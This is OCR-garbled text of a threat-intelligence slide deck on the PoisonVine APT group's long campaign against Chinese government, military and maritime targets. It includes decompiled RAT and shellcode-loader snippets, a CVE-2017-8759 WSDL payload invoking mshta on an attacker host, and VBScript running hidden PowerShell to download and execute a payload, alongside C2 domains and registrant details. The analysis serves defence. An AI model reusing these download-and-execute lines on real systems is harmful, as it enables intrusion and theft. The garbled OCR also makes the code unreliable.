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A vine climbing over the Great Firewall:
A long-term attack against China

Lion Gu, Bowen Pan

Qi An Xin Threat Intelligence Center



) About us ([QJ QI-ANXIN

RedDrip Team (@RedDrip7)

* A team of Qi-AnXin Threat Intelligence Center r
* Focus on threat intelligence and advanced targeted Qe .
; 8

attacks tracing. et

Technical Twitter of QiAnXin Technology, leading Chinese security vendor. It is
operated by RedDrip Team which focuses on malware, APT and threat intelligence.

* APT threat monitoring and tracing, uncovered several | < usnicon @0z
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APT Groups.
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* PoisonVine ( APT-C-01 )
* ararely known APT group targeted China APT

* Intent & = FE (APT-C-01)

 political & military intelligence - FHRERAERERE

* Targets

* government agencies
* military person

* research institutes

* maritime agencies




) PoisonVine - Timeline = = @ianxin

2007.12

First discovered
trojan which

targeted a large

2009-2011 2013 2015.2 2018

Using “API string Several military and Kanbox RAT First disclosed.
reverse” and “error government targets was

APl parameters” to attacked. Website compromised

shipping company evade detection with watering hole.
2008-2009 2012.12 2014.9.12 2017.10
Universities and First variant of Oday was Several spear
military industry in ZxShell was discovered(CVE-  phishing attacks
China was attacked. found. 2014-6352) and using CVE-

2017-8759
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) Capabilities and Resources Q) QLANXIN

* RATs

* Commercial or open-source RAT

* Poison lvy, ZxShell PoisonVine
* Customized

* Kanbox RAT

. [ ] efge [
EXp|OItS Capabilities Resources
. d | biliti * Tools * Infrastructures
some adocument vulnerabilities R Exploits

 CVE-2012-0158
* CVE-2014-6352 (Oday)
 CVE-2017-8759

 Infrastructures

 Dynamic domains
* Cloud storage



) Capabilities and Resources

* Poison lvy

Poison Ivy
Advanced [11]

#

Q) QI-ANXIN

Leader of New Generation Cyber Security

void sub_461000()
{

signed int v@; // eax@1
signed int v1; // eax@3

vl = 0;
do

pi_shelficode[vo] =

0xBCu;

++ul;
H
while ( v0 < 0x1800 );
ul = 0;
do
{
pi_shellcode[v1] "=
++u1;
H
while ( v1 < 0x1800 );
JUMPOUT(pi_shellcode);

=

void sub_401000()

{
signed int v@; // eax@1
signed int v1; // eax@3

v = 0;
do

byte_405030[v0] “=|0x28u;
++ul;

H

while ( v < 6144 );

vi = 03

do

{
byte 405030[v1] "= |0x83u;
byte_405830[v1) "= [Bx83u;
)

while ( v1 < 6144 );
JUMPOUT (byte_405030);

void sub_4061000()
{

signed int v@; // eax@1
signed int v1; // eax@3

v = 0;
do
{

byte_405030[v0] "= |0xA1u;
++ull;
)
while ( vb < 6144 );
vl = 0;
do

¢ byte 405030[v1] “-

o0l
H
while ( vl < 6144 );
JUMPOUT(byte_405030);




) Capabilities and Resources

* ZxShell

if ( tdword_5123E990(&u6, name) )

return sub_51211881(s, "%s>", (unsigned int)byte_51238C58);
if ( dword_S5123E990(&v6, "Help™) && dword_S5123E990(&vue6, "?7") )
{
if ( tdword_5123E990(&vu6, “Exit™) || tdword_S5123E996(&u6, "Quit™) )
return 8;
if ( dword_5123E998(&vu6, *"Sysinfo™) )

{
if ( dword_5123E998(&u6, “Ps™) )

°
¢ if ( dword_5123E9908(&vu6, "CleanEvent™) ) ' CUStomlzed co
¢ if ( dword_5123E990(&v6, "IEPass') )I

¢ if ( dword_5123E990(&u6, "TransFile™) )

¢ if ( dword_5123E996(&v6, "GetCHD™) )

¢ if ( dword_S5123E990(&vu6, "ZXNC™) )

¢ if ( dword_S5123E990(&v6, "End") )

¢ if ( dword 5123E998(&v6, ""ShareShell™) )
¢ if ( dword_S5123E990(&vu6, "FileMG™) )
¢ if ( dword_S5123E990(&v6, “rPortHMap™) )
sub_51211881(s, "'%s' Unknown Command.\r\n", (unsigned int)&ué);
else

sub_51217862(s, 4);

mma

@ QI-ANXIN
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Open source version

else if(!stricmp(argv_0,"ShareShell"))
ReverseShell(&args);

#if defined _CloseFW
else if(!stricmp(argv_0,"CloseFW"))
CloseFW(Socket);
#endif

#if defined _QQLog
else if(!stricmp(argv_0,"0QLog"))
GetQQPswLog(&args);
#endif

#if defined _FILEMANAGE
else if(!stricmp(argv_0,"FileMG"))
DoAction(Socket, action_FileMG);
#endif

#if defined _REMOTEDESKTOP
else if(!stricmp(argv_0,"winvnc")){
DoAction(Socket, action_RDSRV);



) Capabilities and Resources

Kanbox RAT

» keywords filtering for collection

U CEE (War),

* Cloud storage API for exfiltration

ssLInit(3); 71 SSLAU
3 = sub_48CC58(v2); 77 FiailssL

lsub_40CC90(v3, 20011, (unsigned int)sub_4656B8);// §£EyTGKEN
memset {(&Dest, 8, Ox104u);
sprintf(&Dest, “%s_%s", "Ghu{zju{hrk}{", a1); // FFEMRE/5E aboutdoublewu
if (3 )
d
sub_4B8CEBB(&emory, &9, 1);
sub_48CEBO(&emory, &9, 1);
sub_48CEBB(&enory, &9, 1);
sub_4B8CEBB(&emory, &u9, 1);
sub_48CC98(v3, 47, 1);
sub_48CC90(v3, 1088082, (unsigned int)"https://auth.kanbox.com/8/token™);
sub_48CC98(v3, 180824, (char)iemnory);
sub_48CC98(v3, 64, 8);
sub_uB8CC98(v3, 81, 0);

vl _mkgmtime({struct tm *)u3);
>
else

vl = yi1;
>

lsub_48D788(lgmory);
sub_46CEAB(UY) ;

[Sleep(1066u)
menset(&u13,|0, 8x104u);

Isprintf(&v13} "https://api-upload.kanbox.com/8/upload/%s/%s?bearer_token=%s", &Dest,

u16 = 8;
ui1 = 8;
u6 = sub_48CC58(v5);
if ( tus

|l (sub_4BCEBB(&v16, &ui1, 1),

sub_48CC908(v6, 47, 1),
sub_408CC98(u6, 100882, (unsigned int)&vis),
sub_48CC98(v6, 108824, (char)uin),
sub_40CC90(u6, 64, B),
sub_u48CC908(v6, 81, 8),
_mkgntime((struct tm x)us),
us) )

d

result = 0;

a2, byte_uF2214);

Q) QI-ANXIN
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“ERRA” (Army)

£ https://kanbox.com

I@%Q MZe e m T %) AN/

Kanbox
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) Capabilities and Resources

e discovered in early 2018
e .hta->CVE-2017-8759

<definitions
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:suds="http://www.w3.0org/2000/wsdl/suds"
xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
xmlns:ns@="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
PortType"/>
Binding" type="tns:PortType">
<soap:binding styl rpc” transport="http://schemas.xmlsoap.org/socap/http"/>
<suds:class type="ns@:Image" rootType="MarshalByRefObject"></suds:class>
</binding>
<service name="Service">
<port name="Port" binding="tns:Binding">

<soap:address location="http://updateinfo.servegame.org?C:\Windows\System32\mshta.exe?http://

updateinfo.servegame.org/bing/bing.hta"/>
<soap:address location=";

if (System.AppDomain. CurrentDomaln GetData(_url.Split('2')[@]) == null) {
System.Diagnostics.Process.Start(_url.Split('2')[1], _url.Split('2')[2]);
System.AppDomain.CurrentDomain.SetData(_url.Split('2')[@], true);

Y LIt
</port>
</service>
</definitions>

@ triggered .hta execute with CVE-2017-8759

open directory

Customized shellcode loader

Index of /

Name

Tcpview.exe

@ bing/

[@) bingpolkjiods.tmp
@dingl/

[ ding1loilmkjh.tmp
@ ding2/

[ ding23edfgtrd.tmp
[?) doajksdifsadk.tmp

Last modified Size Description

2017-11-28 04:49 294K
2017-11-16 07:44
2017-11-16 07:38 4.9K
2017-11-16 07:46
2017-11-16 07:47 4.9K
2017-11-16 07:49
2017-11-16 07:48 4.9K
2017-09-15 08:21 4.9K

@ doajksdlfsadk.tmp.1 2017-09-15 08:21 4.9K

[@ doajksdirfadk.tmp
@ dvhrksdlfsadk.tmp
@jin1/

[@) jinlasdwe2123.tmp
Qiin2/
@jinstweqsdas.tmp
@ tiny1/

[ tiny1detvghrt.tmp
@ tiny2/

@ tiny2Irmkoiju.tmp

[ tony2fsdfdcsf.tmp
[#) vfajksdifsadk.tmp

2017-09-27 06:36 4.9K
2017-09-27 06:38 4.9K
2017-11-16 07:29

2017-10-30 08:33 4.9K
2017-11-01 02:32

2017-10-30 08:34 4.9K
2017-11-01 02:41

2017-10-30 08:34 4.9K
2017-11-01 02:45 =
2017-10-30 08:34 4.9K
2017-11-01 02:46 -
2017-10-30 08:38 4.9K
2017-11-01 02:48

2017-10-30 08:38 4.9K
2017-09-27 06:37 4.9K

Leader of New Generation Cyber Security
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Index of /dingl

Name Last modified Size Description

5 Parent Directory -

mgl.exe 2017-11-16 07:45 13K
@ dingLhta 2017-11-16 07:45 752
] ding1.txt 2017-11-16 07:46 1.2K

language="VBScript">
window_onload
const impersonation
Const HIDDEN_WINDOW

Locator
Serv1ce
/ .Security_
objStartup
objConfig
Process
Process.Cr

Locator.C

ripting.SWbemLocator")

r()

.ImpersonationlLevel-impersonation
Service.Get("Win32_Proce
objStartup.SpawnInstance

tartup")

Service.Get("Win32 Process™)

eate("PowerShell ndowStyle Hidden -nop -c (New-Object

em. Net WebClient).DownloadFile( 'http: pdateinfo

ficeupdate.ex

(New-Object -com Shell.Application).ShellExecute('officeupdate.exe’

objConfig, intProcessID)
Q)

@ drive-by download & execution



) Capabilities and Resources

* CVE-2014-6352

* bypass the patch of CVE-2014-4114 used
by Sandworm

* 0O-day
* sample creation time on 4t Sep 2014
* patched on Oct 2014

Vulnerability in Microsoft OLE Could Allow Remote Code Execution
Published: October 21, 2014 | Updated: November 11, 2014

Version: 2.0

General Information

Executive Summary

Microsoft has completed the investigation into a public report of a vulnerability. We have issued Microsoft Security Bulletin MS14-

064 to address this issue. For more information about this issue, including download links for an available security update, please
review the security bulletin. The vulnerability addressed is the Windows OLE Remote Code Execution Vulnerability - CVE-2014-6352.

Q) QI-ANXIN
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) Capabilities and Resources

 Infrastructure

Dynamic Domains

DDNS Service Provider

ChangelP

DynDNS

Afraid(FreeDNS)

30

R = N OO

eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee

Domain registers

C&C
chinamil.lflink.com

soagov.sytes.net
soagov.zapto.org
soasoa.sytes.net

xinhua.redirectme.net

126mailserver.serveftp.c
om

maill63.mypop3.net
kav2011.mooo.com
safe360.dns05.com
cluster.safe360.dns05.co
m

rising.linkpc.net

Legitimate website
Website of Chinese
Military
www.chinamil.com.cn
State Oceanic
Administration
WWW.S03a.goV.cn
Xinhua News
www.xinhuanet.com
Famous mail service
provider in China
126.com, 163.com

Chinese anti-virus
software
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“Chinese Asia-Pacific Annual Meeting in 2013”

ENFLCEESIE 013TETHATEFLFSTH - 864 (HTMD) =@ % |
[ it | sl v 9
A TEAFE <gaocass20132163. con> AEATE:  2013/10/24 (FM) 14:16

gEA: I

* PoisonVine has a simple TTP. -

IE  0BFETMATEFSFaTs
i | ) 2013 ETMAT £ F 274 doc (246 KB)

e Reconnaissance s, g

hETHATHESESET 2013 F 12 B 6-8 BTE BT 2013 FFEL, £ hBRAEED.
MRS G E T AMRAEF R E2 RS RBIEERENELRT, RTJI;!citﬁEE’Jaufuiu*ﬂ

® SRARTIHE, NESETFEFHETERIES WX, T2 bi#Tem. FelEEETIE
On ta rgets ?-ﬁ%ﬁgﬁ@ﬁ’é WiEFEUFESRLFESY, MRS EFEMARLE. mitﬁ-ﬁi?aun
[ ° e B @
[ ]
Importa nt Confe rences In Chlna %}Qﬁﬁggjﬁgﬁﬁﬁf ﬁﬁi}g%ﬁ%ﬁéﬁmgﬁgggg%ﬁ%% EEIHREERIHA A ESE
° . EEEILPEHEAR . ARSI S TREER .
mainland b o

TAFeIUREEFRA

O =ELTEAuESES ey -
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) Tactics, techniques and procedures

 |nitial Access & Established Foothold

e Spear-phishing with delivery decoys
archived PE RLO
(B #Femst=arEmmame S RANE ror - WinRAR GREET) (=] O s
Eﬁﬁﬁ{%ﬁ%‘aﬂﬂﬂ%hﬁﬁﬁhangba+exe.doc

55-.Hﬂlﬁ@§§@'@ﬁv$ = =7 pEEs

, Be &EE sREES
[E B xTess+SeeEBETEE ANELar - RAR EHTH, REANS 229,376 T5 -
% AN EREAh 28 BN
- XpE H H
B EFEFE+ = EFEFERREE AR exe 229,376 83,392 WFEERF 2013/10/2 8:24 F I I e n a m e p a d d I n gs
1 l) ‘ERRAAERESEHR" SAmEIENE N lexe [ 2015/8/12 14:22
= NERF F)v: 115 MB

F§]2014-03-18FERGHEF SRFREESBEE s
— =% pRRs

7 80.0 KB

23t 229,376 FH(1 NE)

SFX

A B ESETEE e EPELTRER - SREES RAR e, AN 66,191 3

;The comment below contains SFX script commands

E=33

Jﬁ_ secup=HB5 E& BB\ 2017 . cxc.bat

[&]2017.txt.bat Silent=1

["teredo.exe Overwrite=1

) EprELsEALdoc
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Collection & Exfiltration

* documents, .doc/.ppt/.xls/.wps

keywords filtering

Hardcoded keywords:

military, international, technology, national

o,

g
“ElFR"S

L arw

T, vl

p24, v26, v27, v28)
p13, vi4, vi5, vi6)
f, vi8, v19, v28);

if ( v7 > 8 )
{
vi12 = &ullh;
do
{
if ( =u12 t= "A' )
{
sub_512158C08{v12|,
sub_512158C0{v12|,
sub_512158C08{v12|,
b
vui2 += 5;
-=u7;
b
while { v7 );
b

if ( vZ7 > B)

{

v31 = (int)&Dest;
do
{

if ( *=( BYTE =)u31 t= 'A’

{
sub_4826108{v31

sub_4026108{v3,
sub_4082618(u3,

b

» "E");

"THE) 5
"E");

v31 += 5;
-=y27;

b
while ( v27 );

)

QI-ANXIN

Leader of New Generation Cyber Security
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Pass zero window handler to GetClientRect.
* Real system Failed

. .
Defense Evasion AV heuristic detection Pass

APl name in reverse order

.- ey g em mme mmmmay my em g oem wmm push esi
8B35S 0092400(mov esi, dword ptr [<8MSVCRT. _strrev|msvert. _strrev sub esp, 16h lea eax, [ebp+Rect]
S0 push eax : 9 s = “tohspanS23plehlooTetaerC” lea eax, [esp+10h+Rect] g:i" ::’1‘ — ;_1pRect
894C24 30 mov dword ptr ecx Tax > IpRECT ’
N word ush 0 : h¥nd push esi ; hund
31671.295‘24 * :xl es1 - ( = strrev all GetClientRect :al: GetClientRect
- es eax, eax
21114024 18 I“h ecx, dword ptr [espt18] jz short loc_4016SF jz short loc_51219CD7
pus ecx nov eax, 1 xor eax, eax
FFD6 call esi add esp, 10h B _ inc eax . ‘
805424 2C  |lea edx, dword ptr [esp+2C] retn 100 s EEIR, ARTEERE  np short loc_S121900F ; TEEHIIFIE, FAMITEEMB
52 push edx 2011 2012
FFD6 call es1
8B35S 6090400( mov esi, dword ptr [<SKERNEL32. GetP: kernel32. GetProcAddress oot Lo ana  ecx, o
83C4 OC add esp, OC g:M :p':s}‘ :::s byte ptr es:[edi], byte ptl[:
804424 34 lea eax, mw [.m FFIS e ebp ’ strrev
ProcNameOrOrdinal 83C4 04 dd , 4
gg ;::: :;: [.. dul e ’ g}um 48 f..h ::5, dword ptr [esp+ds] i
FFD6 call esi GetProcAddress 53 p::h R [}:' e
onarn4a 14 V.. B e ] - glg‘lemnoot «u d;ord gszoggfzmm GetProcAd{LGetProcAddress
e t
1} B et 15 I,
wwaa ww ——r. —-——, ea e
S0 push  eax _ rs = "AsetubirttAeliFt” et ol N
F3:Md re movs byte ptr es:[edi], byte pt QUEEER] = FFOO eall  eax user32. GetClientRect
FF1S EOINB(NO& dword ptr [<8MSVCRT. _strrev>] |l _strrev AL 1Y thert 0040B3AB
83C4 04 add esp, 4 0040B35A| . |8DBC24 8COTO(1ea ecx, dword (ﬁ‘ (01"‘]
8D4C24 2C  |lea ecx, dword ptr [espt2C] - 0040E39C| | | B8 APCAPFYE | BN  0O4OTTFO A
S1 push ecx PProcNameOrOrdinal 0040B3A1| . | B8 01000000 |mov eax, |
S3 push ebx Miodul e 0040B3AS| |19 2FIE0000 |jap  Exit>
) - 0040B3AB N 41
FF1S 68104B0( @&l  dword ptr [<AKERNEL32. GetProcAdilGetProcAddress ' “ o
ce -em e d:
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e ATT&CK Matrix

 T1193 Spearphishing Attachment
 T1203 Exploitation for Client Execution
* T1204 User Execution

e T1170 Mshta

* T1064 Scripting

e T1102 Web Service

e T1022 Data Encrypted

 T1005 Data from Local System



Impact

 Cloud Storage

* Token hardcoded in payloads
* 3GB file exfiltrated

v [ 20150303-5a780
» [ SRecycle.Bin
v [ users
» [ Administrator
» [ 20150303-6deae
» [ 20150303-9a907
v ! 20150303-10c7cebf
» [ Documents and Settings
v ! 20150303-48dc0ec2
» [ task
> ! 20150303-64a19b72
v [ 20150303-66da0a8b
» [ Program Files (x86)
v [ Users
» [ Administrator
» [ Default
v ! 20150303-84e9246a
» [ Documents and Settings

» B Program Files

BRE

Jlangudvun.com

BT 4 [A] #=

i scount#2019022615402...
i scount#2019031515374...
a scount#2019031515512...
a scount®2019031515571...
a scount®2019031516052...
ﬁ scount®#2019031516151...
ﬁ scount®#2019031516195...

ﬁ scount#2019031516550...

1 FTEE~E

scount#201902261540256731 (5FE: 69 MB HiaH: &)

tt v

tit 1870 & C~~Users~winuser~Desktop,

ttt 180 i C~~Users~winuser~Desktop,
ttt IEh0 & C~~Users~winuser~Desktop,
tet S2H0 34 C~~Users~winuser~Desktop,
ttt I8H0 35 C~~Users~winuser~Desktop,
tit 1800 32 C~~Users~winuser~Desktop

ttt 1800 Xk C~~Users~winuser~Desktop,

2019-02-26 15:41

2019-02-26 15:41

2019-02-26 15:41

2019-02-26 15:41

2019-02-26 15:41

NXIN

tion Cyber Security

ttt S8 34 C~~Users~winuser~Desktop, 2019-02-26 15:41
§ b0 3% CHROM, 2019-02-26 15:41
CEERES A ttt 1890 4 CHROM_USR_PWD 0 5
1t 4 ttt 180 24 FIRFX_USR_PWD 2019-02-26 15:41
tit 1800 324 CMD_G_SYSINFO 2019-02-26 15:41
ttt JE00 324+ GRAB_USR_TREE 2019-02-26 15:40
ttt 180 x4 IENEG_USR_PWD 2019-02-26 15:40
| —
% L%.En BERMTH.. - Q A TEESE wv
r X:T 4 [ &= BEXH HEHB Behs Ess ‘ scount#201903151537435517 (&5FE: 49KB &S £
(@ menz [©te || Oz |
i 5count#2019022615402... Q scount#201903151537435517 =
i scount#2019031515374... B o P
- SR D CHROM_USR_PWD 252Bytes  2019-03-1515:37
i Scount#2019031545571... D CMD_G_SYSINFO 33K8 2019-03-15 15:37
(i@l scount=2019031516052.. )
C~~Users~WIN7~AppData~Local~Google~Chrome~... 8 Bytes 2019-03-15 15:37
i scount#2019031516151...
U C~~Users~WIN7 ~AppData~Local~Microsoft~Internet... 16 KB 2019-03-15 15:38
i scount#2019031516195...
D C~~Users~WIN7~Desktop~SysintemalsSuite(2017061... 9.8 KB 2019-03-15 15:37
ﬁ scount#2019031516550...
D C~~Users~WIN7~Desktop~SysintemalsSuite(2017061... 52 Bytes 2019-03-15 15:37
CRMRAEANERER D Co~Users~WINT~Desktop~SysintemalsSuite(2017061... 10 KB 2019-03-15 15:37
o< 4
U FIRFX_USR_PWD 202Bytes  2019-03-15 15:37
D GRAB_USR_TREE 1.8 KB 2019-03-15 15:37
D 1ENEG_USR_PWD 16 K8 2019-03-15 15:37
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 Language * Encoding
* PMinglLiU

e - WinRAR [=] slidetl.xmXd
(O TE(@ WE==0) ZEI|IN) EEI(H 1 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
i ¢ 1 2 <p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml /2006/main" xmlns:r="
ﬂ " http://schemas.openxml formats.org/officeDocument/2006/relationships" xmlns:p="
= = W http://schemas.openxml formats.org/presentationml /2006/main"><p:cS1d><p:spTree><p:nvGrpSpPr><p:cNvPr id=
;Egj m ﬁ ﬂ!& ﬁﬁ [5]5 {g‘w Em ;m %ﬁ Eﬁﬁm "1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0"
cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id
\ctiveX6.exe - gﬁ&m RAR wﬁ: ga /J\%J 72924 ?—ﬁ =n3n ::ame="m 2" /><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="subTitle" idx=
: ' ! "1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="1477963" y="4297363"/><a:ext cx="6400800" cy=
™ S SR +i5 . NAIE B hEAn "1752600"/></a:xfrm></p: sy Bgdv><a:bodyPr><a:normiutofit/></a:bodyPr><a:lstStyle/>
x'l Eﬁ J ﬂ '%Eiajlj CRC32 <a:p><a:endParaRPr ang="en-US" smtClean="0"><a:solidFill><a:srgbClr val="898989"/>
Folder %etuﬁ=3. vbs </a:s0lidFill></a:endPara} /p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="2051" :arr.e="&1ﬁ 3"/>
62 62 VBScript Script Fi 2008/11/11 16:48 3EA78782 S?;an; <p:cNvSpPr><a:spLocks noChangeArrowheads="1"/></p:cNvSpPr><p:nvPr/></p:nvSpPr><p:spPr bwMode="auto"
' Dverwrite=2
. . TT—
78 76 Windows Batch F... 2009/1/14 13:56 SEDSDC... A . | 2. mEes )
72,784 69,993 Application 2009/1/14 15:11 7560CC70 an .
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) Attribution Q) QI-ANXIN

® Identify information Reg}strant Organization: NG

Whois registration : —
Registry Registrant ID: Whois protect service

Registrant Name: jeng jie GDPR

Registrant Street: No.2, Aly. 3, Ln. 12, Fuzhong Rd. Bangia
¥ 22055
1 Taiwan (R.0.C.)
emall Registrant City: NN

Registrant State/Province:
phone number Registrant Postal Code: 22055

Registrant Country: NN
i Registrant Phone: +EiEEEEEEEEEEEN
reglon Registrant Email: comsafe@126.com
Registry Admin ID:
name Or ID Admin Name: jeng jie
Admin Organization: GG

Admin Street: No.2, alv. 3, Ln. 12, Fuzhong Rd. Bangiao Dis i
]

(R.0O.C.)

Admin City: Nellll

Admin State/Province: GG
Admin Postal Code: 22055

el
Admin Phone: +8
Admin Email: comsafe@126.com

Cloud Storage API leak

{"status":"ok","email":"","phone":"15811848796","spaceQuota":1700807049216,"spaceU
sed":508800279,"emaillsActive":0,"phonelsActive":1}




) Attribution

©

eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee

* Similar but different with another APT group “BlueMashroom”

* same region

e different ways of Execution & Persistence
* hijacking shortcut file in startup paths

* use regsvr32 to execute DLL

Bifrxdl: ERAER

T system32

B#5T): Iest'\kppl]ata\Local\dxdl1_6. d11", D11Entry

ohafuE 6): IC AWindowshsystem32

RER©:  [X

ETARR): [FHE0

& 0): |
T HuE F)

BB ©). ..

sRo... |




) Conclusion Q) QI-ANXIN

 APT actors not always advanced, PoisonVine find its ways to

improve efficient.

 APT actors always considered reduce its signature in investigate

and hide the attribution.

* In the APT tracing process, finding intent of threat and attribution

can always be an interesting game.
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Thank youl!



